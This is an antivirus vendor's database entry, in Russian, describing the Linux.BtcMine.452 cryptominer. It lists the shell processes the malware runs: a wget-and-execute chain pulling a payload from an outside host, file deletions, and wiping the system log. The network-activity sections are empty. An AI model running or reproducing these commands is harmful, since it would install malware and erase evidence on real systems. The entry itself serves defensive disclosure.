Linux.BtcMine.452

Linux.BtcMine.452

Добавлен в вирусную базу Dr.Web: 2020-10-11

Описание добавлено: 2020-10-10

Вредоносные функции:

Запускает себя в качестве демона

Запускает процессы:

sh -c md5sum /usr/bin/pamdicks
md5sum /usr/bin/pamdicks
sh -c wget -c http://a.powerofwish.com/up-sugar -O /var/lib/up && chmod 755 /var/lib/up && /var/lib/up
wget -c http://a.powerofwish.com/up-sugar -O /var/lib/up
chmod 755 /var/lib/up
/var/lib/up
sh -c rm -f /usr/bin/pamdicks 1> /dev/null 2>&1
rm -f /usr/bin/pamdicks
sh -c rm -f /usr/bin/pamdicks.org 1> /dev/null 2>&1
rm -f /usr/bin/pamdicks.org
sh -c rm -f /usr/bin/pamdicks.org1 1> /dev/null 2>&1
rm -f /usr/bin/pamdicks.org1
sh -c rm -f /usr/bin/pamdicks.org2 1> /dev/null 2>&1
rm -f /usr/bin/pamdicks.org2
sh -c rm -rf /tmp/up 1> /dev/null 2>&1
rm -rf /tmp/up
sh -c rm -rf /var/lib//up 1> /dev/null 2>&1
rm -rf /var/lib//up
sh -c /usr/bin/pamdicks
/usr/bin/pamdicks
sh -c rm -f /etc/hosts.old
rm -f /etc/hosts.old
sh -c echo > /var/log/messages
sh -c rm -rf /tmp/chkmem 1> /dev/null 2>&1
rm -rf /tmp/chkmem
sh -c rm -rf /var/lib/chkmem 1> /dev/null 2>&1
rm -rf /var/lib/chkmem

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Создает или модифицирует файлы:

Удаляет файлы:

Сетевая активность:

Устанавливает соединение:

HTTP GET-запросы:

DNS ASK:

Посылает данные следующим серверам:

Получает данные от следующих серверов: